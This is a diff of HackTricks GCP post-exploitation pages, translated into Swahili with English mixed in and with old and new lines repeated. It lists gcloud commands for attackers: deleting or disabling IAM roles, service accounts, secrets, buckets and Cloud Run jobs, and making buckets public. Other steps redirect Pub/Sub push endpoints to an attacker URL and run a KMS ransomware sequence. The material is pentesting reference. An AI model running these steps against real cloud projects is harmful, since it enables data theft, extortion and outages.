Kwa ruhusa hii unaweza kupata **URL iliyosainiwa ili uweze kupakua msimbo wa chanzo** wa Cloud Function:
<details>
<summary>Pata URL iliyosainiwa kwa ajili ya kupakua msimbo wa chanzo</summary>
Kwa ruhusa hii unaweza kupata **URL iliyotiwa saini ili uweze kupakua msimbo wa chanzo** wa Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
Ruhusa ya `cloudfunctions.functions.delete` inamruhusu mtambulisho kufuta kabisa Cloud Function, ikijumuisha msimbo wake, usanidi, triggers, na uhusiano wake na service accounts.
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration through the bucket
Ruhusa za `storage.objects.get` na `storage.objects.list` zinaruhusu kuorodhesha na kusoma objects ndani ya bucket, na katika kesi ya Cloud Functions hili ni muhimu hasa kwa sababu kila function huhifadhi source code yake katika Google bucket inayosimamiwa kiotomatiki, na jina lake linafuata muundo `gcf-sources-<PROJECT_NUMBER>-<REGION>`
### Kunyang'anya Cloud Function Requests
Iwapo Cloud Function inasimamia taarifa nyeti ambazo watumiaji wanazituma (kwa mfano passwords au tokens), ukiwa na privileges za kutosha unaweza **modify the source code of the function and exfiltrate** taarifa hizi.
### Steal Cloud Function Requests
Zaidi ya hayo, Cloud Functions zinazoendesha kwenye python zinatumia **flask** kuonyesha web server; ikiwa kwa namna fulani utapata code injection vulnerability ndani ya flaks process (a SSTI vulnerability for example), inawezekana **override the function handler** ambao utakabidhi the HTTP requests kwa ajili ya **malicious function** ambayo inaweza **exfiltrate the request** kabla ya kuzipitisha kwa handler halali.
Ikiwa Cloud Function inasimamia taarifa nyeti ambazo watumiaji wanazituma (kwa mfano passwords au tokens), ukiwa na privileges za kutosha unaweza **modify the source code of the function and exfiltrate** taarifa hizi.
Kwa mfano, code hii inatekeleza shambulio:
Zaidi ya hayo, Cloud Functions zinazoendesha python zinatumia **flask** kuonyesha web server; ikiwa kwa njia yoyote utapata code injection vulnerability ndani ya flaks process (a SSTI vulnerability for example), inawezekana **override the function handler** itakayopokea HTTP requests kwa ajili ya **malicious function** ambayo inaweza **exfiltrate the request** kabla ya kuipitisha kwa handler halali.
<details>
<summary>Kunyang'anya Cloud Function requests (Python injection)</summary>
Kwa mfano code hii inatekeleza shambulio:
```python
import functions_framework
@@ -132,8 +133,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md
+17 -6
View File
@@ -1,4 +1,4 @@
# GCP - Cloud Run Post Exploitation
# GCP - Cloud Run Baada ya Utumiaji
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,14 +10,25 @@ Kwa maelezo zaidi kuhusu Cloud Run angalia:
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### Fikia picha
### Futa CloudRun Job
Ruhusa za `run.services.delete` na `run.services.get`, pamoja na `run.jobs.delete`, zinawezesha utambulisho kufuta kabisa service au job ya Cloud Run, pamoja na usanidi wake na historia. Mikononi mwa mshambuliaji, hii inaweza kusababisha kuathiri mara moja applications au workflows muhimu, na kusababisha kukataa huduma (DoS) kwa watumiaji na mifumo inayotegemea mantiki ya huduma au kazi zilizopangwa muhimu.
Ikiwa unaweza kufikia picha za kontena angalia msimbo kwa ajili ya udhaifu na taarifa nyeti zilizowekwa kwa nguvu. Pia kwa taarifa nyeti katika mabadiliko ya mazingira.
Ili kufuta job, operesheni ifuatayo inaweza kufanywa.
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
Ili kufuta huduma, operesheni ifuatayo inaweza kutekelezwa.
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### Fikia container images
Ikiwa picha zimehifadhiwa katika repos ndani ya huduma ya Artifact Registry na mtumiaji ana ufikiaji wa kusoma juu ya repos, anaweza pia kupakua picha kutoka huduma hii.
Ikiwa unaweza kufikia container images, kagua code kwa vulnerabilities na hardcoded sensitive information. Pia angalia sensitive information kwenye env variables.
### Badilisha & redeploy picha
Ikiwa images zimetunzwa katika repos ndani ya service Artifact Registry na mtumiaji ana read access juu ya repos, anaweza pia download image kutoka kwenye service hii.
Badilisha picha ya kukimbia ili kuiba taarifa na redeploy toleo jipya (kuweka tu kontena jipya la docker lenye lebo sawa halitafanya litekelezwe). Kwa mfano, ikiwa inatoa ukurasa wa kuingia, iba taarifa za kuingia ambazo watumiaji wanatuma.
### Badilisha & redeploy the image
Badilisha run image ili kuiba information na redeploy version mpya (kufanya tu uploading ya docker container mpya yenye tags sawa haitafanya itekelezwe). Kwa mfano, ikiwa inatoa login page, iba credentials zinazotumwa na watumiaji.
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
+29 -11
View File
@@ -10,24 +10,42 @@ Unaweza kupata taarifa zaidi kuhusu IAM katika:
../gcp-services/gcp-iam-and-org-policies-enum.md
{{#endref}}
### Kutoa ufikiaji kwa console ya usimamizi <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
### Kutoa ufikiaji kwa konsoli ya usimamizi <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
Ufikiaji wa [GCP management console](https://console.cloud.google.com) hutolewa kwa akaunti za watumiaji, si akaunti za huduma. Ili kuingia kwenye kiolesura cha wavuti, unaweza kumpa ufikiaji Google account unayodhibiti. Hii inaweza kuwa akaunti ya kawaida "**@gmail.com**", haipaswi kuwa mwanachama wa shirika lengwa.
Ufikiaji wa [GCP management console](https://console.cloud.google.com) hutolewa kwa user accounts, si service accounts. Ili kuingia kwenye kiolesura cha wavuti, unaweza kumpa ufikiaji Google account unayodhibiti. Hii inaweza kuwa akaunti ya kawaida "**@gmail.com**", haipaswi kuwa mwanachama wa shirika lengwa.
Ili **kutoa** primitive role ya **Owner** kwa akaunti ya kawaida "@gmail.com", utahitaji **kutumia web console**. `gcloud` itatoa kosa ikiwa utajaribu kuipa ruhusa juu ya Editor.
Hata hivyo, ili kumpa primitive role ya **Owner** kwa akaunti ya kawaida "@gmail.com", utahitaji **kutumia web console**. `gcloud` itatoa hitilafu ikiwa utajaribu kumpa ruhusa juu ya Editor.
Unaweza kutumia amri ifuatayo kumpa mtumiaji primitive role ya Editor kwenye project yako iliyopo:
<details>
<summary>Mpa mtumiaji role ya Editor</summary>
Unaweza kutumia amri ifuatayo kumpa user primitive role ya Editor kwenye project iliyopo:
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
If you succeeded here, try **accessing the web interface** and exploring from there.
Ikiwa umefanikiwa hapa, jaribu **kupitia kiolesura cha wavuti** na kuchunguza kutoka huko.
This is the **highest level you can assign using the gcloud tool**.
Hii ndiyo **ngazi ya juu kabisa unayoweza kuipa ukitumia zana ya gcloud**.
### Futa vipengele vya IAM `iam.*.delete`
Ruhusa za `iam.*.delete` (mfano, `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete`, n.k.) zinamruhusu mtambulisho kufuta vipengele muhimu vya IAM kama custom roles, API key bindings, service account keys, na service accounts wenyewe. Mikononi mwa mshambuliaji, hii inawezesha kuondoa mbinu halali za kupata rasilimali na kusababisha a denial of service.
Ili kufanyika shambulio kama hili, inawezekana, kwa mfano, kufuta roles kwa kutumia:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
Ruhusa za `iam.serviceAccountKeys.disable` na `iam.serviceAccounts.disable` zinaruhusu kuzima vitufe hai vya Service Account au Service Accounts, ambazo mikononi mwa mshambuliaji zinaweza kutumika kuvuruga shughuli, kusababisha denial of service, au kukwamisha majibu ya matukio kwa kuzuia matumizi ya nyaraka halali.
Ili kuzima Service Account, unaweza kutumia amri ifuatayo:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
Ili kuzima keys za Service Account, unaweza kutumia amri ifuatayo:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
Ruhusa za `iam.*.undelete` zinaruhusu kurejesha vitu vilivyofutwa hapo awali kama vile uambatanisho wa funguo za API, majukumu maalum, au akaunti za huduma. Wakati ziko mikononi mwa mshambuliaji, hili linaweza kutumika kugeuza hatua za ulinzi (kurudisha upatikanaji uliyoondolewa), kuanzisha tena compromise vectors zilizofutwa ili kudumisha persistence, au kuepuka jitihada za kurekebisha, na hivyo kufanya kudhibiti tukio kuwa ngumu.
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
+39 -13
View File
@@ -4,7 +4,7 @@
## KMS
Tafuta taarifa za msingi kuhusu KMS katika:
Pata taarifa za msingi kuhusu KMS katika:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,11 +12,11 @@ Tafuta taarifa za msingi kuhusu KMS katika:
### `cloudkms.cryptoKeyVersions.destroy`
Mshambuliaji mwenye ruhusa hii anaweza kuharibu toleo la KMS. Ili kufanya hivyo, kwanza unahitaji kuzima funguo kisha kuharibu:
An attacker with this permission could destroy a KMS version. Ili kufanya hivyo unahitaji kwanza ku-disable key kisha ku-destroy:
<details>
<summary>Zima na uharibu toleo la funguo (Python)</summary>
<summary>Disable and destroy key version (Python)</summary>
```python
# pip install google-cloud-kms
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
Katika AWS inawezekana kabisa **steal a KMS key** kwa kubadilisha KMS resource policy na kuruhusu attackers account pekee kutumia key. Kwa kuwa resource policies hizi hazipo katika GCP, hii haiwezekani.
Katika AWS inawezekana kabisa **steal a KMS key** kwa kubadilisha KMS resource policy na kuruhusu akaunti ya mshambuliaji pekee kutumia key hiyo. Kwa kuwa resource policies hizi hazipo katika GCP, hii haiwezekani.
Hata hivyo, kuna njia nyingine ya kufanya global KMS Ransomware, ambayo ingejumuisha hatua zifuatazo:
Hata hivyo, kuna njia nyingine ya kufanya KMS Ransomware ya kimataifa, ambayo ingejumuisha hatua zifuatazo:
- Unda toleo jipya la **version of the key with a key material** iliyohamishwa na attacker
- Unda toleo jipya la **version of the key with a key material** lililoingizwa na mshambuliaji
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- Weka kama **default version** (kwa data za baadaye zitakazokuwa encrypted)
- **Re-encrypt older data** iliyosimbwa na toleo la awali kwa kutumia toleo jipya
- **Futa KMS key**
- Weka kama **default version** (kwa ajili ya data zijazo zitakazokuwa encrypted)
- **Re-encrypt older data** zilizokuwa encrypted na version ya awali kwa kutumia ile mpya.
- **Delete the KMS key**
- Sasa ni attacker pekee, ambaye ana original key material, atakuwa na uwezo wa decrypt the encrypted data
#### Hapa kuna hatua za kuingiza toleo jipya na kuzima/kufuta data za zamani:
#### Hapa kuna hatua za ku-import version mpya na ku-disable/delete data za zamani:
<details>
<summary>Ingiza toleo jipya la ufunguo na futa toleo la zamani</summary>
<summary>Import version mpya ya key na delete version ya zamani</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -162,7 +162,7 @@ gcloud kms keys versions destroy \
<details>
<summary>Simbua data kwa ufunguo wa simetriki (Python)</summary>
<summary>Kuficha data kwa kutumia funguo simetriki (Python)</summary>
```python
from google.cloud import kms
import base64
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
<details>
<summary>Saini ujumbe kwa kutumia funguo zisizo simetriki (Python)</summary>
<summary>Saini ujumbe kwa kiufunguo asymmetriki (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
Ruhusa ya `cloudkms.cryptoKeyVersions.restore` inaruhusu kitambulisho kurejesha toleo la ufunguo ambalo lilikuwa limepangwa kuharibiwa au lilizimwa katika Cloud KMS, likirejeshwa katika hali ya kazi na inayoweza kutumika.
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
Ruhusa ya `cloudkms.cryptoKeyVersions.update` inamruhusu mtambulisho kubadilisha sifa au hali ya toleo maalum la ufunguo katika Cloud KMS, kwa mfano, kwa kuiwezesha au kuizima.
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+51 -25
View File
@@ -4,7 +4,7 @@
## Pub/Sub
Kwa habari zaidi kuhusu Pub/Sub angalia ukurasa ufuatao:
Kwa maelezo zaidi kuhusu Pub/Sub angalia ukurasa ufuatao:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Kwa habari zaidi kuhusu Pub/Sub angalia ukurasa ufuatao:
### `pubsub.topics.publish`
Tuma ujumbe kwenye topic, inafaa kwa **kutuma data zisizotarajiwa** na kusababisha functionalities zisizotarajiwa au exploit vulnerabilities:
Kuchapisha ujumbe kwenye topic, inafaa kwa **kutuma data isiyotegemewa** na kusababisha functionalities zisizotarajiwa au exploit vulnerabilities:
<details>
<summary>Tuma ujumbe kwenye topic</summary>
<summary>Chapisha ujumbe kwenye topic</summary>
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
Inayotumika kuzuia subscription isipokee ujumbe, labda ili kuepuka kugunduliwa.
Inatumika kuzuia subscription isipokee ujumbe, labda ili kuepuka kugunduliwa.
<details>
<summary>Tenganisha subscription kutoka kwa topic</summary>
<summary>Detach subscription from topic</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
Inafaa kuzuia subscription isipokee messages, labda ili kuepuka kugunduliwa.\
Inawezekana kufuta topic hata ikiwa subscriptions zimeambatishwa kwake.
Inafaa kuzuia subscription kupokea messages, labda ili kuepuka kugunduliwa.\
Inawezekana kufuta topic hata ikiwa subscriptions zimeambatishwa nayo.
<details>
<summary>Futa topic</summary>
<summary>Delete topic</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
Tumia ruhusa hii kusasisha mipangilio ya topic ili kuiharibu, kama `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
Tumia ruhusa hii kubadilisha baadhi ya mipangilio ya topic ili kuisumbua, kama `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
Jipa ruhusa ili kutekeleza yoyote ya mashambulizi yaliyotajwa hapo juu.
Jipe ruhusa kufanya yoyote ya mashambulizi yaliyotajwa hapo juu.
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
Pata ujumbe wote kwenye seva ya wavuti:
Pata ujumbe yote kwenye web server:
<details>
@@ -69,11 +95,11 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
```
</details>
Unda subscription na uitumie kwa **pull messages**:
Tengeneza subscription na uitumie **pull messages**:
<details>
<summary>Unda pull subscription na upate messages</summary>
<summary>Tengeneza pull subscription na upokee messages</summary>
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**Kufuta subscription** kunaweza kusaidia kuvuruga mfumo wa usindikaji wa logi au kitu kinachofanana:
**Futa usajili** inaweza kuwa muhimu kusababisha matatizo kwa mfumo wa usindikaji wa logi au kitu kinachofanana:
<details>
<summary>Kufuta subscription</summary>
<summary>Futa usajili</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
Tumia ruhusa hii kubadilisha baadhi ya mipangilio ili ujumbe uhifadhiwe mahali unaweza kufikia (URL, Big Query table, Bucket) au tu kuuvuruga.
Tumia ruhusa hii kusasisha baadhi ya mipangilio ili ujumbe uhifadhiwe mahali unaweza kufikia (URL, Big Query table, Bucket) au tu kuuvuruga.
<details>
<summary>Sasisha endpoint ya subscription</summary>
<summary>Mwisho wa kusasisha subscription</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.subscriptions.setIamPolicy`
Jipe ruhusa zinazohitajika ili kutekeleza kila moja ya mashambulizi yaliyotajwa hapo awali.
Jipa ruhusa zinazohitajika ili kutekeleza mojawapo ya mashambulizi yaliyotajwa hapo awali.
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
Ambatanisha schema kwa topic ili messages zisizotekeleze schema hiyo, na hivyo topic itavurugika.\
Kama hakuna schemas, huenda ukahitaji kuunda moja.
Ambatisha schema kwenye topic ili ujumbe usiukidhi, na hivyo kusababisha topic kuvurugika.\
Kama hakuna schema yoyote unaweza kuhitajika kuunda moja.
<details>
<summary>Tengeneza faili ya schema na uiambatishie topic</summary>
<summary>Unda faili ya schema na uiambatishe kwenye topic</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
Hii inaweza kuonekana kama kwa kufuta schema utaweza kutuma jumbe ambazo hazikidhi schema. Hata hivyo, kwa kuwa schema itafutwa hakuna ujumbe utaingia ndani ya topic. Kwa hivyo hii ni **HAINA TUMIA**:
Hii inaweza kuonekana kama kuondoa schema ili uweze kutuma ujumbe ambao hautatii schema. Hata hivyo, kwa kuwa schema itafutwa, ujumbe wowote hautaingia ndani ya topic. Kwa hivyo hii ni **HAINA FAIDA**:
<details>
<summary>Futa schema (haifai)</summary>
<summary>Futa schema (hainufaiki)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -164,11 +190,11 @@ Jipa ruhusa zinazohitajika ili kutekeleza yoyote ya mashambulizi yaliyotajwa hap
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
Hii itaunda snapshot ya ujumbe wote ambao haujakubaliwa (unACKed) na kuwaweka tena kwenye subscription. Si ya msaada sana kwa mshambuliaji, lakini hapa iko:
Hii itaunda snapshot ya ujumbe wote ambao haujathibitishwa (unACKed) na kuwarudisha kwenye subscription. Si muhimu sana kwa mshambuliaji lakini hapa iko:
<details>
<summary>Unda snapshot na urejelee kwake</summary>
<summary>Tengeneza snapshot na ufanye seek</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
+26 -3
View File
@@ -4,7 +4,7 @@
## Secretmanager
Kwa maelezo zaidi kuhusu Secret Manager angalia:
Kwa taarifa zaidi kuhusu Secret Manager angalia:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,15 +12,38 @@ Kwa maelezo zaidi kuhusu Secret Manager angalia:
### `secretmanager.versions.access`
Hii inakupa ufikiaji wa kusoma secrets kutoka secret manager na inaweza kusaidia ku-escalate privileges (kutegemea taarifa zilizohifadhiwa ndani ya secret):
Hii inakupa uwezo wa kusoma siri kutoka Secret Manager na labda hii inaweza kusaidia kuongeza ruhusa (kutegemea ni taarifa gani zilihifadhiwa ndani ya siri):
<details>
<summary>Fikia secret version</summary>
<summary>Fikia toleo la siri</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
Ruhusa ya `secretmanager.versions.destroy` inaruhusu kitambulisho kubomoa kwa kudumu (kuwekwa alama kama imefutwa kwa njia isiyoweza kurejeshwa) toleo maalum la siri katika Secret Manager, jambo ambalo linaweza kuwezesha kuondolewa kwa credentials muhimu na kwa uwezekano kusababisha denial of service au kuzuia urejeshaji wa data nyeti.
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
Ruhusa `secretmanager.versions.disable` inaruhusu kitambulisho kuzima matoleo ya siri yaliyo hai katika Secret Manager, kuzuia kwa muda matumizi yao na programu au huduma zinazowategemea.
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
Seti ya ruhusa `secretmanager.secrets.delete` inaruhusu kitambulisho kufuta kabisa siri na matoleo yake yote yaliyohifadhiwa katika Secret Manager.
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
Ruhusa ya `secretmanager.secrets.update` inamruhusu kitambulisho kubadilisha metadata na usanidi wa siri (kwa mfano, mipangilio ya mzunguko, sera ya toleo, lebo, na sifa fulani za siri).
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md
+55 -9
View File
@@ -4,7 +4,7 @@
## Cloud Storage
Kwa taarifa zaidi kuhusu Cloud Storage angalia ukurasa huu:
Kwa maelezo zaidi kuhusu Cloud Storage angalia ukurasa huu:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,11 +12,7 @@ Kwa taarifa zaidi kuhusu Cloud Storage angalia ukurasa huu:
### Kutoa Ufikiaji wa Umma
Inawezekana kumpa watumiaji wa nje (walioingia kwenye GCP au la) ufikiaji wa yaliyomo kwenye bucket. Hata hivyo, kwa chaguo-msingi bucket itakuwa na chaguo la kuifungua kwa umma limezimwa:
<details>
<summary>Fanya bucket/objects ziwe za umma</summary>
Inawezekana kuwapa watumiaji wa nje (wakiingia kwenye GCP au la) ufikiaji kwa yaliyomo kwenye bucket. Hata hivyo, kwa chaguo-msingi chaguo la kufungua bucket kwa umma litakuwa limezimwa:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
Ikiwa utajaribu kutoa **ACLs to a bucket with disabled ACLs** utapata kosa hili: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Ikiwa utajaribu kumpa **ACLs to a bucket with disabled ACLs** utapata hitilafu hii: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
Ili kufikia open buckets kupitia browser, nenda kwenye URL `https://<bucket_name>.storage.googleapis.com/` au `https://<bucket_name>.storage.googleapis.com/<object_name>`
Ili kufikia buckets zilizo wazi kupitia kivinjari, tembelea URL `https://<bucket_name>.storage.googleapis.com/` au `https://<bucket_name>.storage.googleapis.com/<object_name>`
### `storage.objects.delete` (`storage.objects.get`)
Kufuta object:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
Ili kufuta bucket:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### Zima Vifunguo vya HMAC
Idhini `storage.hmacKeys.update` inaruhusu kuzima vifunguo vya HMAC, na idhini `storage.hmacKeys.delete` inaruhusu kitambulisho kufuta vifunguo vya HMAC vinavyohusishwa na akaunti za huduma katika Cloud Storage.
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
Ruhusa ya `storage.buckets.setIpFilter`, pamoja na ruhusa ya `storage.buckets.update`, inampa kitambulisho uwezo wa kusanidi IP address filters kwenye Cloud Storage bucket, ikibainisha ni IP ranges au addresses zipi zinazoruhusiwa kufikia rasilimali za bucket.
Ili kufuta kabisa IP filter, amri ifuatayo inaweza kutumika:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
Ili kubadilisha anwani za IP zilizochujwa, amri ifuatayo inaweza kutumika:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
Faili la JSON linawakilisha kichujio hicho chenyewe, kitu kama:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
Rejesha bucket kwa kutumia:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md
+122 -72
View File
@@ -1,87 +1,137 @@
# GCP - Apikeys Privesc
# GCP - AppEngine Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Apikeys
## App Engine
Ruhusa zifuatazo ni muhimu kuunda na kuiba API keys, sio hii kutoka kwenye nyaraka: _API key ni kamba rahisi iliyofichwa ambayo **huitambulisha programu bila principal yoyote**. Zinasaidia kupata **public data anonymously**, na zinatumiwa **associate** maombi ya API na project yako kwa quota na **billing**._
Kwa hivyo, kwa API key unaweza kufanya kampuni hiyo ilipie matumizi yako ya API, lakini hautaweza escalate privileges.
Kwa taarifa zaidi kuhusu API Keys angalia:
Kwa taarifa zaidi kuhusu App Engine angalia:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
Kwa njia nyingine za kuunda API keys angalia:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
Hizi ndizo ruhusa zinazohitajika ili **kupeleka App kwa kutumia `gcloud` cli**. Huenda zile **`get`** na **`list`** zisihitajike.
Unaweza kupata mifano ya code ya python katika [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
Kwa chaguo-msingi, jina la huduma ya App litakuwa **`default`**, na inaweza kuwa tu instance 1 yenye jina hilo.\
Ili kubadilisha na kuunda App ya pili, katika **`app.yaml`**, badilisha thamani ya root key kuwa kitu kama **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
Mpe angalau dakika 10–15; ikiwa haitafanya kazi, jaribu **deploy another of times** na subiri dakika chache.
> [!NOTE]
